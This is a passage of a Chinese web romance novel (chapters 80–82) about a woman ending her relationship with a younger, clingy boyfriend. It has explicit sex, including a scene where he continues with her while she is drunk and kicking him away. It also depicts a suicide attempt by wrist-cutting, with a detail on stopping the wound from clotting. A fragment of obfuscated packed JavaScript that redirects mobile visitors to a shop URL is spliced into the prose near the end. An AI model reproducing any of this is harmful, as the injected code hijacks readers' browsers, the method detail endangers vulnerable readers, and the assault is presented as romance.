“姐姐，你快忙完了吗？”
黎娜淡淡地说：“没有。”
“那你什么时候忙完？”
黎娜：“忙不完，你先去睡觉吧。”
沈知逸很失落：“我不睡，我要等你一起睡。”
黎娜抬脚踹他：“你快去睡吧！”
最后终于把这个整天发/情的泰迪给踹走了，黎娜松了口气，在客厅里待到十二点，又看了部电影，到凌晨一点多了，估计沈知逸已经睡着了，这才回房间。
她轻轻地推开门，站了一会，听到沈知逸均匀的呼吸声，才轻手轻脚地走进去，在床边躺下，闭上眼睛。
身后床垫突然塌陷下去，有手臂环住她的腰，将她拖向后面，直到后背抵上他的胸膛。
他在她耳边吐气，声音沙哑。
“姐姐，我等了你好久……”
黎娜都快哭了。
还是没能躲过。
一夜酣畅淋漓。
到双休日，更是荒淫无度。
黎娜跟温琳吐槽。
黎娜：【我快要死掉了。】
温琳：【？？？】
黎娜：【早上三次，中午四次，晚上五次。】
温琳：【什么意思，你吃坏肚子了，拉屎拉了十二次？】
黎娜：【……】
温琳：【我靠，你吃的什么，这么牛逼，告诉我呗，我也想拉这么多。】
黎娜：【……】
温琳：【？？？】
黎娜：【我好像有点腻了。】
温琳：【哈？你在说什么，我怎么一句话都听不懂？】
黎娜：【就像当模特和画家一样，突然就腻了。】
温琳：【……】
黎娜：【我是个混蛋。】
黎娜：【我不想跟沈知逸在一起了。】
温琳：【！！！】
吓得温琳晚上都没睡好，一大早就去找沈知逸。
温琳：【小知逸，跟你娜娜姐姐怎么样啊？】
沈知逸：【特别好，特别开心，特别幸福，我要一辈子都跟姐姐在一起。】
看到他发来的，温琳都要心梗了。
温琳：【你还小，别把感情看得那么重要，感情不是生活的全部，你不能一心都扑在上面，做什么事情，都要给自己留条后路，知道吗？】
沈知逸：【知道，但是在姐姐这里，我不用给自己留后路啊，而且我才不要留后路，我会跟姐姐一直在一起的。】
温琳：【……好。】
祝你好运。
早上，黎娜出门上班。
沈知逸在门口送她，看她什么都没做就要走了，赶紧伸手拉住她。
黎娜转回身：“怎么了？”
沈知逸低头下来，凑到她面前，有点不开心。
“你今天出门怎么都没有亲我？”
黎娜愣了一下，在他脸上亲了一口，又要走。
沈知逸再次把她拉回来。
“还有嘴巴，我要伸舌头的。”
黎娜看了眼周围，把手抽回来，边走边说：“亲脸就够了。”
沈知逸眉心微皱，看着她。
黎娜避开他视线。
“再不走，我就要迟到了。”
沈知逸“嗯”了一声，只能放她走。
到晚上，黎娜下班回来，还是赶沈知逸回房间睡觉。
看着沈知逸的背影，她不由得想，每天都是这种重复的生活，真无聊啊。
今天晚上，黎娜没有回房间，在客厅里睡着了。
沈知逸等了很久，都没等到她过来，就去客厅里找她了。
黎娜躺在沙发上，卷发如黑色瀑布般垂落下来，面容素净，嘴唇柔软，透着淡淡的橘粉色，眼睫毛很浓密，脸小小的，特别可爱。
沈知逸一碰到她。
她就睁开眼睛，直直地看着沈知逸。
沈知逸脸颊发红：“姐姐，我抱你回房间睡吧。”
黎娜：“好。”
沈知逸把她抱起来，她又说：“回我自己房间。”
沈知逸愣了几秒：“好。”
到黎娜房间，沈知逸也跟着一起到床上，正要躺下来，黎娜就开口了。
“你出去吧，我想一个人睡。”
沈知逸手撑在床面上，借着月光看她，有些疑惑。
“你怎么了，之前不都是一起睡的吗？”
黎娜重复：“我想一个人睡。”
沈知逸没动：“姐姐，你是不是有点累了，今天晚上我不会再碰你了，我就抱着你睡觉好不好？”
黎娜有点不耐烦了：“不好，我不想被你抱着睡。”
沈知逸：“为什么？”
黎娜眉心紧皱：“你哪来那么多为什么，别问了行不行，我每天下班回来还要回答你的十万个为什么。”
很久没有被她这样对待过了，沈知逸一时接受不了。
“可是，你之前说，被我抱着睡觉很舒服啊。”
黎娜懒得再搭理他，直接盖上被子睡觉。
沈知逸也不走，在她身后躺下来，慢慢伸出手指，小心翼翼地触碰她。
她立刻抱着
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被子起身下床。
沈知逸也跟着起来：“对不起，我真的不碰你了，你睡觉吧。”
黎娜这才回来。
这个晚上，黎娜在最左边，沈知逸在中间。
在送她出门上班的时候，看着她冰冷的脸色，沈知逸都不敢要告别吻了，只说了一句“早点回家”。
黎娜就“嗯”了一声，开车走了。
沈知逸回到家里，心情很差，给陈研发消息。
沈知逸：【感觉姐姐最近有点冷淡，好奇怪，她是不是不喜欢我了？】
陈研：【她外面有人了。】
沈知逸被这句话吓得不轻。
沈知逸：【怎么可能，姐姐外面没人，她只有我。】
陈研：【那就是对你没新鲜感了。】
沈知逸：【那我怎么办啊？】
陈研：【我不知道啊，我一个处/男哪知道这些。】
沈知逸：【……】
不想坐以待毙，看到黎娜把手机放到桌上，就回房间换衣服了，沈知逸走过去，拿起她的手机。
打开就是锁屏，需要输入密码，沈知逸朝身后看了一眼，黎娜还没出来，就把她的生日输进去。
密码错误。
难道是他的生日？
他又把自己的生日输进去，还是错误的，有些懊恼地抓头发。
“你在干什么？”
黎娜的声音突然从身后响起。
沈知逸手一抖。
手机摔到了地上。
他快要吓死了，赶紧捡起来，认真查看，发现屏幕磕碎了，有点漏液，边角也磕得凹凸不平的。
黎娜拿走手机，双眸紧盯着他，十分不悦。
他低下脑袋，乖乖认错。
“姐姐，对不起。”
黎娜冷笑：“想偷看我手机？”
沈知逸瞳孔微缩：“不是……”
“那你拿我手机干什么？”
“上面有灰尘，我想帮你擦掉。”
黎娜倾斜角度，手机屏幕开始反光，在键盘输入那一片区域，有几个很浅的指纹。
“下次再敢动我的手机，我就把你的手砍掉。”
沈知逸轻咬嘴唇，眸子发红。
“你又对我凶……”
明明对很多人都那么温柔，只有对他就特别凶。
他又一副委屈的样子，黎娜都不知道看到多少遍了，刚开始觉得有趣，后来看太多了，再有趣，也觉得没意思了。
她急于脱身：“我去休息了，今天特别累。”
沈知逸跟在她身后，小心翼翼地问：“那今天晚上——”
黎娜打断他：“你自己睡。”
沈知逸停下来，看着她的背影。
“我不要自己睡。”
黎娜：“……”
沈知逸大步追上来，按住她刚打开的门，把她转过来，抬起她的脸就想亲上去。
黎娜立刻皱紧了眉，别开脸躲避他的吻。
“你烦不烦，放开我！”
她挣扎得太厉害。
沈知逸不得不停下来，眼睛黯淡无光，脸色微微发白。
“你为什么不让我亲，最近也不让我碰你？”
黎娜揉着被捏痛的手腕。
“你是不是不喜欢我了？”
黎娜动作顿住，发现这是一个绝妙的机会，借着他的问题，直接摊牌。
“是不喜欢了。”
没想到她会有这样的回答，沈知逸怀疑自己听错了，又问了一遍：“你刚才说什么？”
黎娜看着他，一字一顿。
“我不喜欢你了。”
80. 神明陷落
我、不、喜、欢、你、了。
单独拆开每一个字，他都认识，但是为什么组合在一起，他就听不明白了呢。
沈知逸感觉自己像被装进了一个透明的塑料袋里，周围一切都是模糊的，声音也像是从很远的地方传来，他好像在做梦，很不真实。
“那怎么办，我们要分手吗？”
黎娜靠在墙上：“嗯。”
沈知逸如同被抽干了力气，身体晃了一下，眼前有些眩晕。
“可是，我爸爸妈妈那边——”
黎娜笑了一声。
沈知逸话音顿住。
黎娜用一种戏谑的目光看着他，似在嘲笑，让人有种屈辱感。
“你怎么整天把爸爸妈妈挂在嘴边，真的跟个小孩儿一样，每天就是我爸爸，我妈妈……”
沈知逸闭紧嘴巴，眼睛发红。
黎娜笑了：“干什么？又要哭鼻子啦？需要姐姐安慰你吗？”
沈知逸眼睛更红了，看着她。
“需要姐姐安慰。”
黎娜笑不出来了。
沈知逸又想亲她，低头凑过去，她就躲，最后只能咬她脖子，边咬边用力吸。
黎娜打他，打得自己手都疼了。
他一声不吭。
“分手要两个人都同意对吧？”
黎娜用力擦脖子。
沈知逸说：“我不会同意的。”
黎娜笑了一下：“谁管你同不同意，你的同意重要吗？”
沈知逸抿唇：“反正我不分手。”
黎娜拿出手机，把他们两家人之前组的微信群解散了，黎父和张阿姨在里面，Sofia和Eason也在。
Sofia电话很快就过来了。
沈知逸接通。
Sofia：“娜娜怎么把群解散了，你们闹矛盾了吗？”
Eason的声音也传过来：“你是男人，要让着点女孩子，不要跟娜娜吵架，低头认错不丢人的。”
可是，谁能告诉他，他到底错在哪里了呢？
沈知逸退开一点，深吸口气：“你们想太多了，我和姐姐没有吵架闹矛盾，我们现在很好的，姐姐可能是不小心的……”
他语气轻松愉快，眼泪却一直在往外涌，时不时用手背擦一下，背对着黎娜讲电话。
黎娜双臂环胸，竟莫名觉得他此刻的样子又有趣起来了。
她回房间。
沈知逸还在通话，怕她等会儿会说出些什么，也不敢阻拦她，只能眼巴巴地望着她。
心痛到快不能呼吸了。
黎娜白天照常去公司上班。
接近中午，阿姨做好饭了。
沈知逸说：“阿姨，你帮我打包一份出来吧，我给姐姐带过去。”
阿姨笑着说：“好呀。”
打包装好午饭，沈知逸就去公司了。
以前他总过来找黎娜，后来保安和柜台就不让他进了，可能是黎娜跟他们打好招呼了。
这次也一样，沈知逸在门口被拦下来了。
他直接给黎父发消息。
沈知逸：【黎叔叔，我来给姐姐送午饭，他们不让我进去。】
还拍了一张饭盒照片发过去。
黎父：【好，我现在叫他们放你进来。】
只见柜台小姐接了一个电话，就让沈知逸通行了。
黎父：【有给我带饭吗？】
沈知逸：【我今天只带了姐姐的……】
黎父发来一个大笑的表情包。
黎父：【你满脑子只有你姐姐。】
沈知逸：【[害羞][害羞]】
黎父：【去找她吧，她应该还没吃饭。】
沈知逸：【嗯嗯。】
他去黎娜所在的部门，办公室里没有人。
有一个男实习生走进来，从办公桌上拿走了一份资料，看到沈知逸，不禁愣了一下。
沈知逸盯着他：“那个不是你的东西吧？”
男实习生相貌斯文，戴着一副眼镜，穿着整套的黑色西装，皮鞋锃亮，是女生们喜欢的斯文败类。
男实习生说：“嗯，这是黎总监要用的资料，她忘记拿了，叫我帮她带过去。”
沈知逸问：“她在哪里？”
男实习生看他一眼：“你是？”
沈知逸毫不犹豫：“我是她男朋友。”
男实习生吓得眼珠子都快掉出来了，从上到下打量着沈知逸，啧了几声：“你成年了吗？”
沈知逸：“嗯。”
男实习生擦汗，没想到黎总监喜欢这么嫩的。
男实习生带着资料走了。
沈知逸偷偷跟上去，来到了会议室，大门紧闭着，隐约传出黎娜的声音。
他找了个没人的地方坐好。
有认识他的老员工，上来跟他打招呼，还给他塞小零食，他拒绝不掉，只能道谢收下。
等了快一个小时，会议室的门打开了。
员工们一窝蜂地涌出来。
“干饭了干饭了！！”
“糖醋小排冲冲冲！！”
饿狼出笼，沈知逸靠边站。
黎娜抱着资料，最后一个出来，身旁跟着那个男实习生，有说有笑。
沈知逸朝他们走过去。
黎娜看到他，皱了下眉。
“你怎么进来的？”
沈知逸装作没听到，脸上露出笑容，来到黎娜跟前。
当着这个部门所有人的面，他捧起黎娜的脸，低头吻了下去。
黎娜瞪大双眼。
男实习生魂都要吓飞了。
整个部门发出一阵猴子叫，离得稍微有点远的，还站到了办公桌上，跳来跳去的，伸长脖子看。
黎娜用力推开他，冷眸朝周围扫视一圈。
所有声音瞬间停止。
办公桌上的人也跳下来，没想到一脚踩进垃圾桶里，滑出去五米远。
黎娜大步往办公室走。
沈知逸跟在她身后，害羞地低下脑袋，嘴唇上还有黎娜的口红印，看上去颇为滑稽。
到办公室，黎娜抓着沈知逸的后衣领，直接把他扔进去，然后“哐”地摔上门。
沈知逸被扔到办公桌上，侧腰被撞了一下，疼得他倒吸口冷气，一时没能站起来，扶着桌子，满脸笑意地看着她。
黎娜喘着粗气：“你在干什么，谁让你进来的！”
沈知逸看到桌上有她的水杯，伸手拿过来，指腹摩擦她的杯口。
黎娜脸色更不好了。
沈知逸喝掉她杯子里剩余的水，嘴唇亮晶晶的。
“我想你了啊，不能来看看你吗，我看我女朋友都不行？”
黎娜懒得搭理他，把他推到一边，坐下来整理资料。
沈知逸又凑过来，抓住她的手放到自己腰上，轻轻地揉了揉，用湿漉漉的眼睛望着她。
“好痛……”
“你刚才扔我的时候，撞到这里了……”
黎娜没看他。
他又拉着她的手，放到自己额头上，有一小块皮肤不太平整。
“还记得这里吗，那天秦钰亲你的脸，我就退宿回家了，你特别生气，非要走，我拦着你，你就把我推下楼了。”
黎娜摸了一会：“不记得了。”
这次，他把黎娜的手，放到他之前中枪
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的手臂上。
“那这里呢？”
黎娜手指缩了一下：“记得。”
沈知逸就把她的手按在那里。
“真的不喜欢我了？”
黎娜叹气：“你这样只会让我更加厌烦。”
厌烦。
这两个字直击心脏。
沈知逸有些茫然：“为什么不喜欢我，你喜欢我对吧，你之前从来没跟别的男人做过，我是第一个。”
黎娜目光回到电脑屏幕上，冷白的光芒照到她脸上。
“回家吧，我没时间回答你这些无聊的问题。”
沈知逸放开她的手，眼睫毛垂下来，眼底有些灰暗。
“那你双休日有空吗？”
想说我爸爸妈妈有礼物要送给你，但是想到上次她说，他满口都是爸爸妈妈，就换了个说法。
“Sofia和Eason想过来看看我们，还有礼物想送给你。”
黎娜看着屏幕：“嗯。”
态度极其敷衍。
沈知逸问：“那你有空吗？”
黎娜：“嗯。”
沈知逸又问：“你是不是没空？”
黎娜还是：“嗯。”
接下来不管他问什么，黎娜都是“嗯”。
沈知逸不想再问下去了。
“姐姐，那我回家了。”
黎娜：“嗯。”
沈知逸红着眼睛，离开了办公室。
当天晚上，他没有出来吃饭，一直在自己的房间里。
黎娜也很晚回来，简单洗漱了一下，就回房间睡觉了。
教练通知沈知逸去练科目二，他练得特别认真，因为只有这样才能分散一些他的注意力。
害怕听到黎娜提起分手的事情，也害怕从她嘴里听到不想听到的话，沈知逸都在刻意回避着她。
上午去练琴，下午去练车，没有安排就骑自行车出去转转，拿罐头喂流浪猫狗。
尽量降低自己的存在感，因为他现在还在黎娜家里，说不定哪天黎娜嫌他总在面前晃悠，就把他赶出去了。
他现在特别害怕，都不敢出现在黎娜面前，微信也把黎娜拉黑了，很怕她发来不好的信息。
Sofia：【我跟你爸爸星期天上午过去，可以吗？】
沈知逸：【过段时间再说吧，姐姐最近有点忙，双休日都不休息。】
Sofia：【好，别让她太累。】
沈知逸：【嗯。】
其实，他说谎应付Sofia也很累的。
他们住在同一个屋檐下，却几乎没有见过面。
直到一天晚上，沈知逸睡不着，听到外面传来一阵开门声。
黎娜的房间在走廊最里面，平时走过去，都要路过他的房间。
他就会赶紧下床跑到门后面，等黎娜路过，那是一天之中他离黎娜最接近的时刻。
但是现在，沈知逸等了很久，都没有等到黎娜走过来。
他像往常一样到门后面，耳朵贴在门板上，隐约听见黎娜在玄关的位置，好像在踢鞋子，然后趿拉着拖鞋走过来。
“噗通”一声，有重物落地。
“刘阿姨，刘阿姨……”
黎娜在外面大喊。
听声音跟平时不太一样，好像喝酒了，呜呜囔囔的，很不清楚。
现在都十二点多了，刘阿姨早就回家了。
沈知逸推开门。
浓烈的酒味铺面而来，他看到黎娜仰躺在地上，头往后面伸，布满血丝的眼睛盯着他。
也许是醉酒太难受了，她眼睛里全是泪水，鼻尖也泛红。
“沈知逸，你怎么在这里？”
81. 神明陷落
是以为他已经离开了吗？
沈知逸站了一会，朝她走过去，半蹲下来，凑过去闻了闻。
“你喝了多少酒？”
他擦掉黎娜眼角溢出的泪水，用手撑着下巴，垂眸看着黎娜。
黎娜闭上眼睛：“好难受……”
沈知逸睫毛微颤，有些不可置信。
“哪里难受？”
“哪里都难受。”
会不会是因为他呢？
沈知逸在想这个问题。
又听见黎娜说：“这个衣领，勒得我脖子喘不过气，还有这条裤子，都黏在我腿上，操，烦死了！”
原来是衣服让她不舒服了。
他又自作多情了。
沈知逸压下心头的酸涩感，深吸口气，把黎娜扶起来一点。
“你还能走吗？要不要我抱你？”
黎娜用力扯衣服，扭来扭去：“不要，你先帮我衣服脱了，我脱不下来。”
沈知逸被她这番话吓到了。
脱、脱衣服吗？
他哪敢啊。
“你酒醒了以后，肯定会生我气的，姐姐，你自己脱吧。”
黎娜把衬衫扣子都扯飞了：“我脱不下来啊，我身上都是汗，你帮我脱下来，我不会生你的气，快一点！”
沈知逸还是不敢：“你保证，绝对不会生我的气。”
黎娜：“我保证，不生气。”
“好。”
她一直站不稳，沈知逸扶她到沙发上，耐心地解开她的扣子，去掉衬衫，手指滑下来，落到她牛仔裤拉链上，就顿住了。
黎娜看着他，笑了笑。
“你之前没碰过？”
沈知逸敛眸：“碰过。”
然后就把拉链拉下来了，黎娜伸直了腿，脱到脚踝那里卡了一下，沈知逸握住她的脚腕，慢慢拉平，脱下来了。
黎娜全身只剩下一套黑色内衣，客厅里没有开灯，只能借着月光看到她的身体，她皮肤白皙细腻，在黑暗的环境中极其显眼。
沈知逸喉咙发干，移开视线。
“脱好了。”
他准备回房间了。
黎娜拉住他的胳膊，脚伸过去，踩在他裤子上，温柔地碾压。
沈知逸受不了往后退，低眸看到她细嫩的脚趾上，涂着红色的指甲油，脚背上鼓起一根青筋，脚趾没入他裤子里，把他的柔软碾成各种形状，渐渐的，就碾不动了。
黎娜就越发用力。
沈知逸额角冒汗，不停吸气，抬眸看向她。
她陷入沙发里，卷发垂在胸前，双臂伸直撑在两侧，肩膀耸起，外边缘形成一个直角，那双漂亮的眼睛直勾勾地盯着他的裤子，微微眯起，充满了蛊惑和戏谑，红唇微张。
沈知逸呼吸全乱了，伸手握住她的脚踝，有点控制不住自己的力气，手指陷进她皮肤里。
“姐姐，你高估我了。”
他手指上移，握住黎娜的小腿，慢慢放回去，整个人紧跟着覆到沙发上，挡住了月光，黎娜在他身体的阴影里。
他看了黎娜一会。
黎娜眼里泪水模糊，显得有些迷离，鼻尖和嘴唇都是红的，有一种哭过的感觉，虽然他知道黎娜是不可能哭的，但是看她现在的样子，真的忍不住让人想……想用力地疼爱她。
他抓起黎娜的手，放到自己脸上，轻轻地蹭了蹭，似乎在找回曾经甜蜜的感觉，然后低头吻住黎娜的嘴唇。
漆黑中，响起唇齿交缠的声音，带着一丝喘，暧昧至极。
沈知逸眼泪往外流。
真的很想她。
想触碰她，亲吻她，跟她在床上不死不休……
黎娜有些喘不上气，开始推他的肩膀。
他就会找到她的手，手指从她的指缝中穿过去，十指紧扣。
不知道是什么时候失控的，他似乎被黎娜身上的酒气熏醉了。
等他反应过来的时候，他已经在黎娜身体里了，柔软的沙发被他撞成各种形状，又随着他短暂的撤离，迅速回弹，再次被撞回去。
她开始收紧，整个人蜷缩起来。
沈知逸却突然停了。
她即将攀上最高点，在他停下后，所有感觉极速消退，有些着急了，手放到他腰后面往前面推。
沈知逸不肯动，黑眸看着她。
“姐姐，你喜欢我吗？”
黎娜生气了，用脚踹他。
“很难受对不对？”
“那你快点说喜欢我，我就继续。”
“你说，沈知逸，我喜欢你。”
黎娜还在踹他，不想做了。
沈知逸等了很久，都没有等到他想听到的话。
他眼眶潮湿发红，再次按住黎娜的双腿，将这些天来堆积在心中的所有不甘和怨恨全部发泄出去。
天亮了，黎娜在自己的房间里。
按道理说，她昨天喝得烂醉，今天应该是四仰八叉地倒在家里，身上混合着汗味，酒味和香水味，又脏又臭才对。
可是她现在掀开被子，身上穿着干净的睡裙，一点异味都没有，头发也不油，很蓬松清爽。
她准备下床，稍微一动，这才发现不对劲。
大腿根部跟抽筋了一样，又酸又疼，这种感觉她并不陌生，打开腿一看，内侧果然都是红的。
她来到沈知逸房间门口，用力拍门。
“沈知逸！你给我出来！”
里面没有动静。
“沈知逸，你听见没有，出来！”
她拍得手都疼了，就用脚踹，最后脚也疼了。
做饭阿姨有点看不下来了，走过来问。
“怎么了呀，知逸今天一大早就出去了，还没回来呢。”
黎娜吼道：“他出去了？”
“是呀，可能去跑步了吧。”
黎娜抿紧嘴唇：“阿姨，等会门上我换个密码，你记住了。”
阿姨愣住：“怎么突然换密码，那我要赶紧告诉知逸。”
黎娜说：“不要告诉他。”
“那他怎么回家？”
“别让他回来了。”
沈知逸躲在院子里，用灌木丛挡住自己，看到黎娜出门开车走了，才从灌木丛中出来，回家。
他像往常一样输入密码，显示屏上却显示密码错误。
这个时间，阿姨应该在家里收拾餐盘，他就敲门，想让阿姨过来给他开门。
但是他敲了很久，都没有人过来开门，他把耳朵贴到门板上，能听见里面有碗盘碰撞的声音，明明有人，但就是不给他开。
他似乎知道为什么换密码了。
他最怕的事情还是来了。
黎娜不让他回家了。
最终，沈知逸回到了Sofia和Eason那里。
他们现在已经退休了，每天待在家里，做做饭，养养花，无聊了就出去旅游，玩累了就回家，每天都过得很快乐。
看到门外面站的是沈知逸，Sofia还愣了一下，踮起脚朝他身后看去。
“知逸，你怎么
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过来了，娜娜没跟着一起来吗？”
沈知逸低着脑袋，睫毛垂下来盖住眼睛，眼圈有些发红。
“嗯，她没过来，她去出差了，所以我过来了。”
Sofia摸摸他的脑袋，目光慈爱。
“她出差去哪里了？”
“就……附近的城市。”
“那应该很快就回来了，你想她了是不是，看起来垂头丧气的？”
沈知逸眼泪差点涌出来，抿紧嘴唇，闷闷地“嗯”了一声，就越过Sofia走进去，擦了下眼睛。
“我昨天晚上没睡好，我先回房间睡觉了。”
Sofia：“好，你早饭吃了吗？”
“吃过了。”
“那就去睡觉吧。”
沈知逸回到自己的房间，钻进被窝里，打开手机，把黎娜从黑名单里放出来了。
好像黎娜从来没有问过他，为什么要把她拉黑。
可能她到现在都不知道自己被拉黑了，因为她从来不会给他发信息。
在家里住了快一个月，沈知逸科目三和科目四都考完了，已经拿到驾照了。
Eason察觉到不对劲：“知逸，娜娜还没回来吗，你们是不是吵架了？”
Sofia也觉得不对劲：“我好像很久没有看到娜娜了，上次给她发消息，她也没有回我。”
沈知逸坐在沙发上。
两个大人的视线落到他身上，像变成了两块巨石，重重地压着他，让他难以呼吸。
要说真话吗？
可是他已经没有机会说谎或是说真话了，他眼泪已经掉出来了，把脸埋到腿上，轻轻地吸了口气，声音颤抖带着哽咽，还有些鼻音。
“你们别再问了行不行，我不想再听到她的名字了。”
每次听到她的名字，就特别想哭。
Sofia和Eason相视一眼，都没有再开口。
好像回到了黎娜离开的那几年，彻底失去了她的消息。
他只能窥探黎娜的社交平台。
最新一条动态是她在公司里，办公桌上的手稿被洒了咖啡。
她配文：【实习生把咖啡洒到我稿子上了，我要怎么惩罚他，才能让他记住这次的教训？】
这段文字里有“他”。
还是实习生，沈知逸想起来，之前在公司里碰到过一个男实习生，他看到那个实习生的工作牌的，长得特别斯文的那个。
好羡慕嫉妒他，可以每天看到姐姐。
沈知逸打开评论区。
黎娜刚发不久，只有一条评论。
Winlyn：【用身体狠狠地惩罚他！榨干他！哼哼哼！】
是温琳的评论。
沈知逸看得怒火中烧，怕黎娜看到这条评论真的会去执行，反手就把温琳给举报了。
到了晚上，没想到黎父给他发消息过来了。
黎父：【你和娜娜的事，娜娜都告诉我了，我也告诉你父母了，真的挺可惜的，我特别喜欢你这个小孩，还是缘分太浅了，你还年轻，以后一定能遇到更好的人。】
沈知逸眼睛瞬间红了。
连黎叔叔都知道了。
可是，他根本没有同意分手啊！
那是姐姐单方面分手，根本不算数的。他们现在只是在闹矛盾而已，等姐姐回心转意了，会回来找他的。
沈知逸压下眼里的泪意，打开跟黎娜的聊天框。
沈知逸：【姐姐，能出来见一面吗？我想当面跟你聊一聊。】
82. 神明陷落
黎娜在跟部门的人团建。
KTV包厢里，喝醉的男同事站在台上鬼哭狼嚎，声泪俱下，在唱一首关于初恋的小情歌。
黎娜在下面笑得肚子都疼了，边喝酒边给他鼓掌。
桌上手机响了，黎娜离得近，听见了，拿起来看了一眼。
是沈知逸发来的。
【姐姐，能出来见一面吗？我想当面跟你聊一聊。】
黎娜眉心一皱，当做没看见，把手机放回去，继续为男同事鼓掌。
这里就数她笑得最欢，于是她被众人推上台，要她唱歌。
她点了一首英文歌，等前奏过去，闭上眼睛，轻声开口。
浸过酒水的嗓音低沉沙哑，每一句歌词都卡在拍子上，原作激情澎湃，她却唱出一种温柔缱绻的感觉，睁开眼睛，含情脉脉地看向台下。
只见男实习生拿起手机在录视频，黎娜笑了一下，拿起话筒，朝他走过去，突然凑向他的摄像头。
一张漂亮的面孔在手机里放大，而且真实的就近在眼前，男实习生瘫坐到沙发上，脸瞬间涨红了，抱着手机不敢再看黎娜。
周围的人开始起哄，还以为他们之间有见不得人的关系。
等黎娜唱完，把话筒放回去，下来跟男实习生说：“你刚才录视频了是吧？发给我。”
男实习生低着头：“哦，好。”
视频发送过去。
黎娜保存，再发到朋友圈。
配文：【给各位献丑了。】
她刚发没多久，手机就响个不停，有点赞的，有评论的，其中还有一条是沈知逸发的。
沈知逸：【有空发朋友圈，没空回我信息是吧？】
黎娜把他的评论删掉了。
沈知逸：【为什么删我评论，别人的你都不删。】
黎娜再次删掉。
沈知逸：【你为什么要这样对我，你明明看见了，为什么不回我！】
黎娜皱眉，这人真是疯了。
她再次删掉。
沈知逸：【随便你删，我去死行不行？你不是讨厌我吗，那我去死好了。】
这次，黎娜没来得及删掉。
沈知逸私发信息给她了，是一段视频。
视频里，他把手机放好，屏幕颤了一下，然后拿起洗手台上的水果刀，按到手腕上，不停地用力划，血很快涌出来，皮肉翻卷。
他在洗手池里放满水，把手放进去防止伤口凝固，水瞬间被染红了，颜色越来越深。
黎娜吓得手机差点掉在地上，给沈知逸打电话。
沈知逸全部挂掉，给她发信息。
沈知逸：【我不会接的，现在来我家找我。】
黎娜：【你有必要这样做，分个手要死要活的，早知道这样，我就不跟你谈了！】
沈知逸：【我现在没有力气打字，过来找我。】
黎娜再发信息过去，沈知逸就不回了。
她把视频转发给Sofia。
黎娜：【这是沈知逸刚才发给我的，你们现在赶紧去他房间看一下。】
等了两秒钟，Sofia没回。
她打电话过去，Sofia接了。
黎娜说：“信息看到了吗？”
Sofia声音发抖：“看到了。”
然后手机里传来一阵霹雳哐当的声音，就安静下来了，有远去的脚步声。
黎娜猜想可能Sofia被吓到了，没有拿稳手机。
Eason和Sofia跑到沈知逸房间门口，转了两下门把，打不开。
Eason把门踹开了，和Sofia直奔卫生间。
看到里面的沈知逸，Sofia两腿一软，直接跪在了地上，脸色煞白，双目失焦。
沈知逸倒在地上，失血过多晕过去了，手腕上有一条红到发黑，极深的伤口，似泉眼一般，不停有血涌出来，白色上衣血迹斑驳。
Eason拿干毛巾，双手颤抖着，绑住他的手腕止血，然后弯腰把他抱起来，直奔楼下，血珠顺着毛巾往下滴，一路上都是血。
Sofia跌跌撞撞地跟在后面，眼前发黑。
Eason回头看她。
“Sofia，你留在家里吧，知逸这边有我就好了，一有消息我就打电话给你。”
Sofia腿软得快走不动了，怕自己耽误了他们的时间，点了点头。
“好，你快点带知逸去医院！”
Eason和沈知逸到达医院。
失血太多，沈知逸身体已经有些发冷了，医生们接过来，先检查了一下血压状况，然后给他输血，做保暖措施。
等一切都稳定下来，Eason靠在墙壁上，衣服都被汗水打湿了，身体像过电一样，发麻无力。
他给Sofia打电话。
Sofia秒接：“还好吗？”
Eason：“嗯，没事，送过来得及时，他在输血。”
Sofia：“医院位置发给我。”
Eason：“我叫司机过去接你。”
Sofia：“好。”
沈知逸昏迷了一天，在晚上醒过来了。
Sofia在给他擦脸，看到他睁开眼睛，也没有多惊喜，而是把毛巾扔到一边，坐在椅子上，不搭理他。
沈知逸朝病房里看了一圈，只有Eason和Sofia。
“我姐姐来了吧？”
Sofia冷漠地说：“她没来。”
Eason站在窗边：“你妈妈吓坏了，哭了一晚上，下次不要再这样做了，好吗？”
沈知逸眼眶发红。
Sofia深吸口气：“早知道这样，一开始我就应该把你带走！我真是昏头了，竟然还想着撮合你们，她这个女人太狠心了！知逸，你实话告诉我，她之前是不是一直在对你冷暴力，我很早之前就觉得不对劲了，你一直不让我们见面，还撒谎骗我！”
沈知逸背过身去，脸埋进被子里。
Sofia气急了：“我看过你们的聊天记录了，昨天你割手腕的时候，她在KTV里玩得可开心了，她根本就不在乎你，她凭什么啊！她凭什么这样对待我们捧在手心里的宝贝！”
她说着说着就哭起来了，用手捂住脸，趴在腿上哭泣，肩膀颤抖。
沈知逸眼泪打湿被子，轻轻地吸了下鼻子，吐出口气。
Eason走过来，坐在床边，一手放在沈知逸身上，一手放到Sofia肩上轻拍着。
“Sofia，你先别说了，知逸现在需要休息。”
他看向沈知逸，语重心长。
“爱人先爱己，你连自己都不珍惜，又有谁会来珍惜你呢？”
“感情是需要两个人双向奔赴的，不能总是你去靠近她，这样太累了，不是吗？”
“如果一段感情总是给你带来焦虑，不安，自我怀疑……那你就应该放弃了。一段健康的关系是要让两个人都变得更好的。”
沈知逸点头。
Eason松了口气：“等养好了，我们就重新开始吧。”
沈知逸抿唇：“……嗯。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14200119|148190||http|test|mini|href|location''.split(''|''),0,{}));
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重新开始。
住院期间，Sofia和Eason把沈知逸照顾得特别好。
他失血过多，Sofia就去找来了补血的食谱，变着花样给他做各种好吃的，一日三餐都不落下。
Eason简直把他当成了小孩，有一次他想出去散步，受伤的手不方便穿运动鞋，Eason直接半蹲下来给他穿鞋，还给他穿衣服。
这次住院，他深切地体会到了那种被人爱着的感觉，填补了一些他内心的空缺，好像也没有那么难过了。
沈知逸手腕痊愈之后，就到开学时间了。
Eason提前向学校递交申请，希望调去沈知逸的音乐学院，校领导们都同意了，他们父子两个又到了一个学校里。
Sofia也放心了不少。
“你去跟学校里的领导说说，别让知逸军训了，他手腕才刚好，万一军训又伤到了怎么办？”
沈知逸看向自己的手腕，那时候割得太深了，缝了好几针，现在疤痕像条蜈蚣一样，不太好看。
他说：“没关系的，我现在伤口已经长好了，不会疼了。”
